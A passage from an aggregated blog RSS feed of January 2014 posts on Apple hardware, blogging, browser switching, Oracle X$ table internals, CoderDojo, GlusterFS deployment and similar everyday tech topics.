                &lt;p&gt;&lt;a href="http://thetypist.com/338/mac-os-x-setup-tips-app-recommendations/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 11 Jan 2014 13:45:54 GMT</pubDate><guid isPermaLink="true">http://thetypist.com/338/mac-os-x-setup-tips-app-recommendations/</guid></item><item><title>Harshil's Revival</title><link>http://harshilshah1910.wordpress.com/2014/01/04/revival/</link><description>&lt;p&gt;Finally getting around to a few blogs I have wanted to check out for almost a week now, earlier this morning I read Harshil Shah&amp;#8217;s third blog post since starting his new site. I enjoyed his refreshing honesty, and his new approach seems like a great middle ground between pushing so hard he burns out once again and posting two articles for the entirety of 2013. I look forward to reading more of his excellent writing &lt;a href="https://twitter.com/harshilshah1910/status/422039100074373120"&gt;very soon&lt;/a&gt;, and you should too.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://harshilshah1910.wordpress.com/2014/01/04/revival/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 11 Jan 2014 13:19:48 GMT</pubDate><guid isPermaLink="true">http://harshilshah1910.wordpress.com/2014/01/04/revival/</guid></item><item><title>Bespoke Morning Reads</title><link>https://zacs.site/blog/bespoke-morning-reads.html</link><description>&lt;p&gt;After catching up on the latest episode of White Collar&lt;sup id="fnref1"&gt;&lt;a href="#fn1" rel="footnote"&gt;1&lt;/a&gt;&lt;/sup&gt; and clearing my Instapaper queue, I spent the rest of my morning going through a few gear websites. While not all carry wares with the vintage feel that almost every item on &lt;a href="https://secure.huckberry.com/store"&gt;Huckberry&amp;#8217;s&lt;/a&gt; store has, each site picks out the best product for its respective category, whether styled to match this century or not. Personally, I prefer the former: I love gear and apparel that could have come out of a 1900s-era general store. It looks cool, works great, and I know it will last so long as I take care of it.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/bespoke-morning-reads.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 11 Jan 2014 12:56:01 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/bespoke-morning-reads.html</guid></item><item><title>Giving back to my community</title><link>https://nicolaiarocci.com/giving-back-to-my-community-with-coderdojo-ravenna/</link><description>&lt;p&gt;A few days ago I tweeted:&lt;/p&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;p&gt;Now the project is &lt;a href="http://coderdojoravenna.it/"&gt;out in the wild&lt;/a&gt; and I’m very excited about it. It’s all italian yes, but do know that CoderDojo is a &lt;a href="http://coderdojo.com"&gt;global movement&lt;/a&gt;, and starting a kids coding club in your own town would probably be great idea.&lt;/p&gt;
&lt;p&gt;Come meet me &lt;a href="http://coderdojoravenna.it/coderdojo-al-workshop-di-agenda-digitale-sul-digital-divide/"&gt;next week&lt;/a&gt;. I will be giving a short talk about CoderDojo Ravenna and, most importantly, we’ll have a good pizza afterwards. Oh, and we’re &lt;a href="http://coderdojoravenna.it/collabora/"&gt;looking for mentors&lt;/a&gt; to join us.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Sat, 11 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/giving-back-to-my-community-with-coderdojo-ravenna/</guid></item><item><title>Oracle X$ tables – Part 1 – Where do they get their data from?</title><link>https://tanelpoder.com/2014/01/10/oracle-x-tables-part-1-where-do-they-get-their-data-from/</link><description>&lt;p&gt;It’s long-time public knowledge that X$ fixed tables in Oracle are just “windows” into Oracle’s memory. So whenever you query an X$ table, the FIXED TABLE rowsource function in your SQL execution plan will just read some memory structure, parse its output and show you the results in tabular form. This is correct, but not the whole truth.&lt;/p&gt;
&lt;p&gt;Check this example. Let’s query the X$KSUSE table, which is used by V$SESSION:&lt;/p&gt;
&lt;pre&gt;SQL&amp;gt; SELECT addr, indx, ksuudnam FROM x$ksuse WHERE rownum &amp;lt;= 5;

ADDR           INDX KSUUDNAM
-------- ---------- ------------------------------
&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;391513C4&lt;/strong&gt;&lt;/span&gt;          1 SYS
3914E710          2 SYS
3914BA5C          3 SYS
39148DA8          4 SYS
391460F4          5 SYS&lt;/pre&gt;
&lt;p&gt;Now let’s check in which Oracle memory region this memory address resides (SGA, PGA, UGA etc). I’m using my script &lt;a href="https://github.com/tanelpoder/tpt-oracle/blob/master/fcha.sql" target="_blank"&gt;fcha&lt;/a&gt; for this (Find CHunk Address). You should probably not run this script in busy production systems as it uses the potentially dangerous X$KSMSP fixed table:&lt;/p&gt;
&lt;pre&gt;SQL&amp;gt; @&lt;a href="https://github.com/tanelpoder/tpt-oracle/blob/master/fcha.sql" target="_blank"&gt;fcha&lt;/a&gt; &lt;strong&gt;391513C4&lt;/strong&gt;
Find in which heap (UGA, PGA or Shared Pool) the memory address 391513C4 resides...

WARNING!!! This script will query X$KSMSP, which will cause heavy shared pool latch contention
in systems under load and with large shared pool. This may even completely hang
your instance until the query has finished! You probably do not want to run this in production!

Press ENTER to continue, CTRL+C to cancel...

LOC KSMCHPTR   KSMCHIDX   KSMCHDUR KSMCHCOM           KSMCHSIZ KSMCHCLS   KSMCHTYP KSMCHPAR
--- -------- ---------- ---------- ---------------- ---------- -------- ---------- --------
&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;SGA&lt;/strong&gt;&lt;/span&gt; 39034000          1          1 permanent memor     3977316 perm              0 00

SQL&amp;gt;&lt;/pre&gt;
&lt;p&gt;Ok, these X$KSUSE (V$SESSION) records reside in a permanent allocation in SGA and my X$ query apparently just parsed &amp;amp; presented the information from there.&lt;/p&gt;
&lt;p&gt;Now, let’s query something else, for example the “Soviet Union” view &lt;a href="https://tanelpoder.com/2009/03/14/the-real-history-of-oracle-database-revealed/" target="_blank"&gt;X$KCCCP&lt;/a&gt;:&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Fri, 10 Jan 2014 21:38:18 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2014/01/10/oracle-x-tables-part-1-where-do-they-get-their-data-from/</guid></item><item><title>A Complete Redesign in Twelve Hours</title><link>https://zacs.site/blog/twelve-hours.html</link><description>&lt;p&gt;Over the last few days I have received a ton of great feedback on both a number of my articles and my site&amp;#8217;s design as well. While the former has remained consistently positive, the latter refrain almost invariably included the same two criticisms: that I had set the font too small, and that every line contained too many words spread much too far across the screen for a comfortable reading experience. Others recommended that I find a way to differentiate linked list items from my own posts, but by and large the most common suggestion advocated a larger font size and decreased content column width. Today, I have addressed those issues and many others with my latest redesign, live with this article.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/twelve-hours.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 10 Jan 2014 20:59:04 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/twelve-hours.html</guid></item><item><title>About Time</title><link>https://olshansky.info/movie/about_time/</link><description>Olshansky's review of About Time</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 10 Jan 2014 11:00:30 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/about_time/</guid></item><item><title>Time wasters</title><link>https://www.databasesandlife.com/time-wasters/</link><description>&lt;p&gt;I was inspired by Paul Graham&amp;rsquo;s essay &lt;a href="http://paulgraham.com/selfindulgence.html" rel="noopener noreferrer" target="_blank"&gt;How to Lose Time and Money&lt;/a&gt;. In it, he talks about things that seem like work (they are not fun, you do them at the office) but which are actually a waste of time. Because they&amp;rsquo;re not so obviously a waste of time like sitting in front of the TV all day during a weekday, one needs to take extra care of them.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Fri, 10 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/time-wasters/</guid></item><item><title>How and when the iMac and Mac Pro can go Retina</title><link>http://www.marco.org/2014/01/08/retina-imac-mac-pro-prediction</link><description>&lt;p&gt;Like Casey Liss I did not particularly care for John Siracusa and Marco Arment&amp;#8217;s incessant Mac Pro banter, but kept listening because I enjoy their thoughts and opinions so much. I found Marco&amp;#8217;s latest post, however, where he explained why he believes we will not see a true Retina iMac-caliber display for quite some time, very interesting.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;To bring Retina to the 27&amp;rdquo; iMac and 27&amp;rdquo; Thunderbolt Display, Apple doesn&amp;#8217;t need to wait until 5120x2880 panels are available. They can launch them at the next-lowest common resolution and use software scaling to let people simulate it if they want, or display things slightly larger at perfect native resolution. ... That next resolution down, of course, is 4K.&amp;#8221;&lt;/p&gt;

&lt;/blockquote&gt;

                &lt;p&gt;&lt;a href="http://www.marco.org/2014/01/08/retina-imac-mac-pro-prediction"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 09 Jan 2014 23:57:05 GMT</pubDate><guid isPermaLink="true">http://www.marco.org/2014/01/08/retina-imac-mac-pro-prediction</guid></item><item><title>Farewell Opera</title><link>https://jeroenpelgrims.com/farewell-opera/</link><description>&lt;p&gt;&lt;img alt="Opera browser logo" src="https://jeroenpelgrims.com/farewell-opera/./Opera-logo.png" /&gt;&lt;/p&gt;
&lt;p&gt;About 10-something years ago I was introduced to Opera by a friend of mine. Yes, that was when Opera's free version still came with a banner ad but that didn't stop me from loving the browser.&lt;/p&gt;
&lt;p&gt;Some of the features I liked and eventually even started to regard as &lt;em&gt;essential&lt;/em&gt; for a browser are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tabs on multiple lines&lt;/li&gt;
&lt;li&gt;Mouse "rocker" features. (holding of RMB and clicking LMB would navigate back in history and holding LMB and clicking RMB would navigate forward)&lt;/li&gt;
&lt;li&gt;More tab management and navigation: Ctrl-W, double/middle clicking tab bar to open new tab, backspace to navigate backwards (Really, Chrome and FF still don't have this by default!?)&lt;/li&gt;
&lt;li&gt;F2: being able to quickly enter a new url to browse to&lt;/li&gt;
&lt;li&gt;Everything I wanted was included in the Opera installer. I didn't need to fiddle around with any addons, plugins or extensions.&lt;/li&gt;
&lt;li&gt;custom search keywords. Typing &lt;code&gt;i The Time Machine&lt;/code&gt; in the address bar would cause the browser to go to imdb.com and search for "The Time Machine" automatically. The shortcuts are customizable. (In my case w for wikipedia, wn for the Dutch wikipedia, d for dictionary.com, ...)&lt;/li&gt;
&lt;li&gt;Fast startup and immediately available. After opening Opera the address bar was focused enabling me to type what I wanted and pressing enter. (I remember this not being the case for older versions of other browsers)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I admit, some of these are more habits than features other browsers don't have.&lt;br /&gt;
Examples that come to mind are F2 in Opera vs F6 in Firefox/Chrome and various plugins for FF with the same functionality of some Opera features.&lt;/p&gt;
&lt;h2 id="opera-blink"&gt;Opera Blink&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/farewell-opera/#opera-blink" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Unfortunately a while ago Opera Software chose to discontinue work on Presto, their layout engine, instead to fork the Webkit project.&lt;br /&gt;
Initially I didn't see a big problem in this, most likely because I didn't know how extensive the impact would be on the browser. This would also not have been a problem as long as the browser would have still been the same in essence.&lt;/p&gt;
&lt;h3 id="shortcomings"&gt;Shortcomings&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/farewell-opera/#shortcomings" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;But it was not. Right after the release of Opera 15, the first version of the browser based on Blink, it was clear there was still a long way to go before it would be possible to "upgrade" without losing some features Opera 12.16 had (Last version with Presto).&lt;br /&gt;
Even now, &lt;a href="http://en.wikipedia.org/wiki/History_of_the_Opera_web_browser#Version_15"&gt;half a year after the release&lt;/a&gt; of the "new" Opera, a lot is still missing.&lt;/p&gt;
&lt;h3 id="opera-12-x-getting-out-of-date"&gt;Opera 12.x getting out of date&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/farewell-opera/#opera-12-x-getting-out-of-date" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I myself was still using the last Presto version but lately it has become unbearable to use. There were huge memory leaks in the application. 4 tabs would consume about 1 GB of memory easily and when leaving your pc on for the night and coming back the day after the memory usage would have crept up to 1.6-2 GB and would cause the program to become unresponsive with the smallest of usage.&lt;/p&gt;
&lt;p&gt;While Opera once had the fastest javascript engine (Carakan), leaving even the major browsers in it's wake, currently it's lagging behind because the lack of updates to 12.x.&lt;br /&gt;
It was also a forerunner in implementing W3C standards but currently a lot of features are just not fully there.&lt;br /&gt;
Even though it's not that widely used yet, WebGL is a big gaping hole.&lt;/p&gt;
&lt;h2 id="an-alternative-to-my-beloved-opera"&gt;An alternative to my beloved Opera&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/farewell-opera/#an-alternative-to-my-beloved-opera" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="firefox"&gt;Firefox&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/farewell-opera/#firefox" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Especially pre-Chrome a lot of preople were raving about Firefox. As with the well known catchphrase "there's an app for that" there was also "an addon for that" in Firefox.&lt;br /&gt;
I was never a big fan though.&lt;br /&gt;
As I said before I liked that with Opera I could install it and know that everything I wanted was right there. No need to remind myself of what addon I used to fix that problem.&lt;/p&gt;
&lt;h3 id="chrome"&gt;Chrome&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/farewell-opera/#chrome" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The same went for Chrome. When it was released it was the fastest browser there was but without any sugar to it, it was very simple.&lt;br /&gt;
A while later extensions were added. But this left me with the same concerns as I had with Firefox addons.&lt;/p&gt;
&lt;p&gt;My fear of addon configuring have become moot though since both Chrome and Firefox have a feature where you can sync your Addon (settings) provided you have a Google account or an account with a server which supports Firefox Sync.&lt;/p&gt;
&lt;h3 id="my-choice"&gt;My choice&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/farewell-opera/#my-choice" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;As you see I've only listed these 2 options here because I'm looking for something cross platform and you can be pretty sure that these 2 will always be up-to-date with the latest new things.&lt;/p&gt;
&lt;p&gt;Why Firefox over Chrome? Well it's a case of disliking the direction Google is going and liking Mozilla's vision on things concerning the web.&lt;/p&gt;
&lt;p&gt;#Final words
Seeing from when I've started I've been a big fan of Opera for quite some time now.
I've always laughed with Firefox copying a lot of features of Opera shortly after they were released, but now I'm glad they did. This made the switch that much easier.&lt;/p&gt;
&lt;p&gt;I've set up the addon syncing and it seems to be working fine accross pcs excluding syncing the addon's settings although I've read this is a responsability of the addon's authors.&lt;/p&gt;
&lt;p&gt;Now let's just hope I'll &lt;a href="http://www.reddit.com/r/technology/comments/1unig0/not_cool_mpaa_joins_the_w3c/cekexhd?context=3"&gt;stay satisfied with Firefox&lt;/a&gt;.&lt;/p&gt;</description><author>Jeroen Pelgrims</author><pubDate>Thu, 09 Jan 2014 22:15:00 GMT</pubDate><guid isPermaLink="true">https://jeroenpelgrims.com/farewell-opera/</guid></item><item><title>A slow start to 2014</title><link>https://liza.io/a-slow-start-to-2014/</link><description>&lt;p&gt;Things after One Game a Month have been&amp;hellip;different. I feel I&amp;rsquo;m lazier with no hard deadlines for personal projects - bumming around and browsing Reddit or focusing more on the newfound cycling hobby than making hobby games in the evenings.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 09 Jan 2014 21:46:47 GMT</pubDate><guid isPermaLink="true">https://liza.io/a-slow-start-to-2014/</guid></item><item><title>The Hard Way</title><link>http://vintagezen.com/zen/2014/1/8/the-hard-way</link><description>&lt;p&gt;Leading up to &lt;a href="https://twitter.com/linusedwards"&gt;Linus Edwards&amp;#8217;s&lt;/a&gt; &lt;a href="http://vintagezen.com/zen/2014/1/8/the-hard-way"&gt;promise&lt;/a&gt; of an article after he, I, and a number of others had an incredibly long conversation about growing one&amp;#8217;s readership and attracting attention on Twitter yesterday, I had been toying with the idea of writing one myself. However, when he decided to put his own post together, I chose to forgo mine until he published his. As it turns out, I did the right thing: reading &lt;em&gt;The Hard Way&lt;/em&gt; earlier this afternoon, it was as if I had written it myself. Linus covered all the points I would have and even told a story that could have just as easily fit my experience working to drive traffic towards my work. All in all, an excellent retrospective and a great starting point for anyone thinking of launching their own website.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/zen/2014/1/8/the-hard-way"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 09 Jan 2014 17:42:45 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/zen/2014/1/8/the-hard-way</guid></item><item><title>AT&amp;amp;T Unveils Sponsored Data</title><link>https://zacs.site/blog/sponsored-data.html</link><description>&lt;p&gt;Last November, I barely managed to stay within my data limit: roughly halfway through, Verizon sent me a message saying that I had already reached 90&lt;code&gt; of my alloted bandwidth. Given that I had just recently decided to stream all of my music with iTunes Match rather than sync more than a thousand songs to a newly replaced iPhone, it should have come as no surprise. For the following two weeks I carefully metered my 3G usage, doing far less on my phone than usual; nevertheless, I soon hit 95&lt;/code&gt; and, wanting to avoid an overage charge, stopped opening even images on Twitter off of WiFi. Thankfully, my billing cycle ended soon after that and I could start with a clean, music streaming-free slate.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/sponsored-data.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 09 Jan 2014 10:58:31 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/sponsored-data.html</guid></item><item><title>Mophie Announces the Space Pack: An iPhone Battery Case With Local Storage</title><link>http://www.macstories.net/linked/mophie-announces-the-space-pack-an-iphone-battery-case-with-local-storage/</link><description>&lt;p&gt;Aside from Matt and Myke&amp;#8217;s &lt;a href="http://tearawaytrousers.com/73"&gt;recent&lt;/a&gt; CES &lt;a href="http://tearawaytrousers.com/74"&gt;discussions&lt;/a&gt;, Mophie&amp;#8217;s newest battery pack is by far the coolest thing I have seen come out of CES this year. When I upgrade to an iPhone 6 this fall, I plan to make this my second purchase: rather than go with the 32GB model, giving myself ample room to expand after only recently transitioning from an 8GB iPhone 4 to a 16GB 4S, buying the Space Pack I will save me $100 by allowing me to get the 16GB iPhone 6, which I can then use towards Mophie&amp;#8217;s $150 case. Given that I would have bought a different case for somewhere in the neighborhood of $30, though, the Space Pack&amp;#8217;s price will essentially be a wash in which I end up with a Juice Pack Air and the same storage capacity I would have otherwise.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.macstories.net/linked/mophie-announces-the-space-pack-an-iphone-battery-case-with-local-storage/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 09 Jan 2014 10:17:28 GMT</pubDate><guid isPermaLink="true">http://www.macstories.net/linked/mophie-announces-the-space-pack-an-iphone-battery-case-with-local-storage/</guid></item><item><title>50 Things I've Learned About Publishing a Weblog</title><link>http://shawnblanc.net/2012/07/50-things/</link><description>&lt;p&gt;Although published back in 2012, every day I come to realize the truth in Shawn Blanc&amp;#8217;s words just a little bit more. Even if he does discount the vast majority of his own counsel as general life advice more applicable there than on one&amp;#8217;s website, I believe he makes an unnecessary distinction in doing so: when you begin to take writing seriously and it ceases to be something you have to do and instead becomes something you not only want to do but &lt;em&gt;need&lt;/em&gt; to do, it has transformed from a hobby to a way of life inextricably linked to the person you are today. At that point, both have become one and the same.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://shawnblanc.net/2012/07/50-things/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 09 Jan 2014 09:43:29 GMT</pubDate><guid isPermaLink="true">http://shawnblanc.net/2012/07/50-things/</guid></item><item><title>Submitting a patch to Python’s lxml library</title><link>https://tomforb.es/blog/submitting-a-patch-to-pythons-lxml-library/</link><description>While working on a system for work I ran into a bug with Python’s lxml library and decided to fix it. I thought I would document how easy the process was, hopefully to encourage others to contribute to open source projects. Lxml is a “pythonic binding for the libxml2 and libxslt libraries” which put...</description><author>Tom Forbes</author><pubDate>Thu, 09 Jan 2014 09:30:15 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/submitting-a-patch-to-pythons-lxml-library/</guid></item><item><title>Talent is Overrated</title><link>https://josh.works/2014/01/09/if-you-can-learn-anything-should-you/</link><description>&lt;h2 id="talent-is-overrated"&gt;Talent is Overrated&lt;/h2&gt;

&lt;p&gt;In &lt;a href="http://www.amazon.com/Talent-Overrated-Separates-World-Class-Performers/dp/1591842948"&gt;Talent is Overrated&lt;/a&gt;, the author argues that world-class performers are not genetically gifted. The difference between world-class performers and the rest of us? Lots of &lt;a href="http://lifehacker.com/what-mozart-and-kobe-bryant-can-teach-us-about-delibera-1442488267"&gt;deliberate practice&lt;/a&gt;. (Read the article.)&lt;/p&gt;

&lt;p&gt;I have no interest in becoming Mozart, or Tiger Woods (oh, and that ship has sailed long ago) but it’s not to late for anyone to do one of two things:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Achieve proficiency in a current skill&lt;/li&gt;
  &lt;li&gt;Learn something completely new&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Since no one attempts to master or dominate most things that they do, there is tremendous opportunity for you to separate yourself from your peers. Or make big improvements in something because you want to.&lt;/p&gt;

&lt;p&gt;The key to either of this is learning how to apply the concept of deliberate practice to the field.&lt;/p&gt;

&lt;h2 id="the-first-20-hours"&gt;The First 20 Hours&lt;/h2&gt;

&lt;p&gt;In &lt;a href="http://www.amazon.com/The-First-20-Hours-Anything/dp/1591845556"&gt;The First 20 Hours&lt;/a&gt;, the author lays out a framework for achieving proficiency in a new field in twenty hours of deliberate practice.&lt;/p&gt;

&lt;p&gt;He lays out a reusable approach to any skill.&lt;/p&gt;

&lt;p&gt;Learning a skill &lt;em&gt;with skill&lt;/em&gt; is extremely appealing to me.&lt;/p&gt;

&lt;h3 id="ten-practices-of-rapid-skills-acquisition"&gt;Ten practices of rapid skills acquisition:&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Choose a lovable project&lt;/li&gt;
  &lt;li&gt;Focus your energy on one skill at a time&lt;/li&gt;
  &lt;li&gt;Define your target performance level&lt;/li&gt;
  &lt;li&gt;Deconstruct the skill into subskills&lt;/li&gt;
  &lt;li&gt;Obtain critical tools&lt;/li&gt;
  &lt;li&gt;Eliminate barriers to practice&lt;/li&gt;
  &lt;li&gt;Make dedicated time for practice&lt;/li&gt;
  &lt;li&gt;Create fast feedback loops&lt;/li&gt;
  &lt;li&gt;Practice by the clock in short bursts&lt;/li&gt;
  &lt;li&gt;Emphasize quality and speed&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;He covers a lot in the book, but it is a quick read.&lt;/p&gt;

&lt;p&gt;I’m eager to apply these methods to some projects soon. My first project? Programming. I’ve been messing around with programming for a while, but I’d like to make a small but dedicated push on it.&lt;/p&gt;

&lt;p&gt;My first task is getting an environment set up on my computer where I can do the things required to create and publish anything I create, no matter how simple. It’s &lt;a href="http://www.ruby-lang.org/en/downloads/"&gt;not the easiest to install&lt;/a&gt;.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 09 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/2014/01/09/if-you-can-learn-anything-should-you/</guid></item><item><title>lambda support for Android</title><link>https://zserge.com/posts/android-lambda/</link><description>Lambda support for Android Note: big thanks to orfjackal (Esko Luontola), the author of Retrolambda, for making it possible. I just used his tool to produce Android apk.
So, you&amp;rsquo;re jealous about new JDK8 upcoming to most Java developers except for you, Android coders? Then I have good news - there is a way to use lambdas in Android right now (warning: it&amp;rsquo;s still a hack)!
But I already have local classes!</description><author>zserge's blog</author><pubDate>Thu, 09 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/android-lambda/</guid></item><item><title>Successful project management with Liquid Planner</title><link>https://www.databasesandlife.com/liquid-planner/</link><description>&lt;p class="intro"&gt;I was told recently there is a certain inflection point a company reaches when it gets to about two employees. I certainly experienced this inflection point this year, w.r.t. dealing with projects and tasks. I decided to implement &lt;a href="http://www.liquidplanner.com/"&gt;LiquidPlanner&lt;/a&gt; around Q2/2013, and am very happy with the decision.&lt;/p&gt;
&lt;p&gt;(Note: I am not affiliated with LiquidPlanner in any way, none of the links in this are affiliate links, this is my own impartial opinion.)&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Thu, 09 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/liquid-planner/</guid></item><item><title>Automatically deploying GlusterFS with Puppet-Gluster + Vagrant!</title><link>https://purpleidea.com/blog/2014/01/08/automatically-deploying-glusterfs-with-puppet-gluster-vagrant/</link><description>&lt;p&gt;&lt;a href="https://github.com/purpleidea/puppet-gluster/" title="puppet-gluster"&gt;Puppet-Gluster&lt;/a&gt; was always about automating the deployment of &lt;a href="https://www.gluster.org/"&gt;GlusterFS&lt;/a&gt;. Getting your own Puppet server and the associated infrastructure running was never included &amp;ldquo;&lt;em&gt;out of the box&lt;/em&gt;&amp;rdquo;. &lt;strong&gt;Today, it is!&lt;/strong&gt; (This is big news!)&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve used &lt;a href="https://www.vagrantup.com/"&gt;Vagrant&lt;/a&gt; to automatically build these GlusterFS clusters. I&amp;rsquo;ve tested this with &lt;a href="https://fedoraproject.org/"&gt;Fedora 20&lt;/a&gt;, and &lt;a href="https://github.com/pradels/vagrant-libvirt/"&gt;vagrant-libvirt&lt;/a&gt;. This won&amp;rsquo;t work with Fedora 19 because of &lt;a href="https://bugzilla.redhat.com/show_bug.cgi?id=876541"&gt;bz#876541&lt;/a&gt;. I recommend first reading my earlier articles for Vagrant and Fedora:&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;
&lt;blockquote&gt;&lt;a href="https://purpleidea.com/blog/2013/12/09/vagrant-on-fedora-with-libvirt/"&gt;Vagrant on Fedora with libvirt&lt;/a&gt;&lt;/blockquote&gt;
&lt;/li&gt;
	&lt;li&gt;
&lt;blockquote&gt;&lt;a href="https://purpleidea.com/blog/2013/12/21/vagrant-vsftp-and-other-tricks/"&gt;Vagrant vsftp and other tricks&lt;/a&gt;&lt;/blockquote&gt;
&lt;/li&gt;
	&lt;li&gt;
&lt;blockquote&gt;&lt;a href="https://purpleidea.com/blog/2014/01/02/vagrant-clustered-ssh-and-screen/"&gt;Vagrant clustered SSH and 'screen'&lt;/a&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
Once you're comfortable with the material in the above articles, we can continue...
&lt;p&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;The short answer&lt;/span&gt;:&lt;/strong&gt;&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 09 Jan 2014 01:00:22 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/01/08/automatically-deploying-glusterfs-with-puppet-gluster-vagrant/</guid></item><item><title>Podcast Transcriptions</title><link>http://www.fiatlux.fm/essays/2014/1/7/podcast-transcriptions</link><description>&lt;p&gt;Zac Cichy started a new blog last month titled &amp;#8220;&lt;a href="http://www.wholeandpart.com"&gt;Whole and Part&lt;/a&gt;&amp;#8221;. Since then, he has consistently published great articles, particularly with regards to podcasts. From Ben Alexander&amp;#8217;s article linked at the top of this post, &amp;#8220;He&amp;#8217;s transcribing portions of podcasts as source material for blog posts. His quotes are timestamped and he links directly to the episode in question.&amp;#8221; Ben goes on to commend Zac further and detail some future plans for his podcast syndicate &lt;a href="http://www.fiatlux.fm"&gt;Fiat Lux&lt;/a&gt;. If either of these two or their respective sites are unfamiliar to you, I strongly recommend you check out both Zac&amp;#8217;s site and Ben&amp;#8217;s podcasts for truly exceptional work.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.fiatlux.fm/essays/2014/1/7/podcast-transcriptions"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 08 Jan 2014 23:39:43 GMT</pubDate><guid isPermaLink="true">http://www.fiatlux.fm/essays/2014/1/7/podcast-transcriptions</guid></item><item><title>When will smartphones saturate?</title><link>http://www.asymco.com/2014/01/07/when-will-smartphones-saturate/</link><description>&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;Although 2013 was often cited as the year when smartphones saturated (&amp;#8216;everybody that wants one has one&amp;#8217;), the total population of users will likely take another decade to reach maximum. The point of inflection in global growth could be expected in 2017. ... What most observers sensed was the point of inflection in growth in North America and Western Europe. Those regions are 11% of the world&amp;#8217;s population.&amp;#8221;&lt;/p&gt;
&lt;/blockquote&gt;

